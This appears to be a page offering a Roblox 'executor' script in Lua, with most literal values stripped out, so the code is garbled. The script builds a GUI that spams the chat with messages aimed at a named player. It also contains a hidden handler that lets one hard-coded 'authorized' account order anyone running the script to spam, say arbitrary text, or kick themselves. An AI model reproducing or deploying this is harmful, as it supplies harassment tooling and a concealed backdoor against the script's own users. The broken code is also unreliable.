Run it
Copy the script and paste it into your executor.
Players = :()
TextChatService = :()
ReplicatedStorage = :()
player = Players.LocalPlayer
screenGui = .()
screenGui.Name =
screenGui.ResetOnSpawn =
screenGui.Parent = player:()
frame = .()
frame.Size = .(, , , )
frame.Position = .(, -, , -)
frame.BackgroundColor3 = .(, , )
frame.BorderSizePixel =
frame.BorderColor3 = .(, , )
frame.Active =
frame.Draggable =
frame.Parent = screenGui
title = .()
title.Size = .(, , , )
title.BackgroundTransparency =
title.Text =
title.TextColor3 = .(,,)
title.Font = .Font.SourceSansBold
title.TextSize =
title.TextStrokeTransparency =
title.TextStrokeColor3 = .(,,)
title.Parent = frame
.(()
.() title.Parent
title.TextColor3 = .(() % / , , )
)
label = .()
label.Size = .(, -, , )
label.Position = .(, , , )
label.BackgroundTransparency =
label.Text =
label.TextColor3 = .(, , )
label.TextXAlignment = .TextXAlignment.Left
label.Font = .Font.SourceSans
label.TextSize =
label.Parent = frame
textBox = .()
textBox.Size = .(, -, , )
textBox.Position = .(, , , )
textBox.BackgroundColor3 = .(, , )
textBox.BorderColor3 = .(, , )
textBox.BorderSizePixel =
textBox.PlaceholderText =
textBox.Text =
textBox.TextColor3 = .(,,)
textBox.Font = .Font.SourceSans
textBox.TextSize =
textBox.Parent = frame
warningLabel = .()
warningLabel.Size = .(, -, , )
warningLabel.Position = .(, , , )
warningLabel.BackgroundTransparency =
warningLabel.Text =
warningLabel.TextColor3 = .(, , )
warningLabel.Font = .Font.SourceSansBold
warningLabel.TextSize =
warningLabel.TextXAlignment = .TextXAlignment.Center
warningLabel.Parent = frame
startButton = .()
startButton.Size = .(, , , )
startButton.Position = .(, , , )
startButton.BackgroundColor3 = .(, , )
startButton.Text =
startButton.TextColor3 = .(,,)
startButton.Font = .Font.SourceSansBold
startButton.TextSize =
startButton.Parent = frame
stopButton = .()
stopButton.Size = .(, , , )
stopButton.Position = .(, -, , )
stopButton.BackgroundColor3 = .(, , )
stopButton.Text =
stopButton.TextColor3 = .(,,)
stopButton.Font = .Font.SourceSansBold
stopButton.TextSize =
stopButton.Parent = frame
close = .()
close.Size = .(, , , )
close.Position = .(, -, , )
close.BackgroundColor3 = .(, , )
close.Text =
close.TextColor3 = .(,,)
close.Font = .Font.SourceSansBold
close.TextSize =
close.Parent = frame
close.MouseButton1Click:(()
screenGui:()
)
(name)
name ==
cleaned = .(name)
cleaned = .(cleaned, , )
cleaned = .(cleaned, , )
cleaned = .(cleaned, , )
cleaned = .(cleaned, , )
cleaned = .(cleaned, , )
cleaned = .(cleaned, , )
cleaned = .(cleaned, , )
cleaned = .(cleaned, , )
cleaned = .(cleaned, , )
.(cleaned, ) .(cleaned, )
textBox.Focused:(() warningLabel.Text = )
textBox.FocusLost:(()
(textBox.Text)
textBox.Text =
warningLabel.Text =
)
isSpamming =
masterControlled =
(name, tag)
suffix = name .. .. tag ..
repeats = .(( - #suffix) / )
.(, .(, repeats)) .. suffix
()
suffix =
repeats = .(( - #suffix) / )
.(, .(, repeats)) .. suffix
(msg)
msg = .(msg, , )
TextChatService.ChatVersion == .ChatVersion.TextChatService
channel = TextChatService.TextChannels:()
channel (() channel:(msg) )
events = ReplicatedStorage:()
remote = events events:()
remote (() remote:(msg, ) )
(name, byMaster)
isSpamming isSpamming = .()
(name)
textBox.Text = name
masterControlled = byMaster
isSpamming =
startButton.Text =
startButton.BackgroundColor3 = .(, , )
masterControlled
stopButton.Text =
stopButton.BackgroundColor3 = .(, , )
messages = {
(name, ),
(name, ),
(name, ),
(name, ),
(name, ),
()
}
.(()
isSpamming
_, msg messages
isSpamming
(msg)
.()
.()
startButton.Text =
startButton.BackgroundColor3 = .(, , )
stopButton.Text =
stopButton.BackgroundColor3 = .(, , )
)
()
isSpamming =
masterControlled =
AUTHORIZED =
(p, msg)
p.Name == AUTHORIZED
msg ==
()
.(msg, , ) ==
target = .(msg, ):()
target ~= (target)
(target, )
.(msg, , ) ==
kickTarget = .(msg, ):()
player.Name == kickTarget player.DisplayName == kickTarget
player:()
.(msg, , ) ==
sayMsg = .(msg, ):()
sayMsg ~= (sayMsg)
startButton.MouseButton1Click:(()
isSpamming (textBox.Text, )
)
stopButton.MouseButton1Click:(()
masterControlled ()
)
TextChatService.OnIncomingMessage:((message)
message.TextSource
sender = Players:(message.TextSource.UserId)
sender (sender, message.Text)
)
Players.PlayerAdded:((p)
p.Chatted:((msg) (p, msg) )
)
crazy

Universal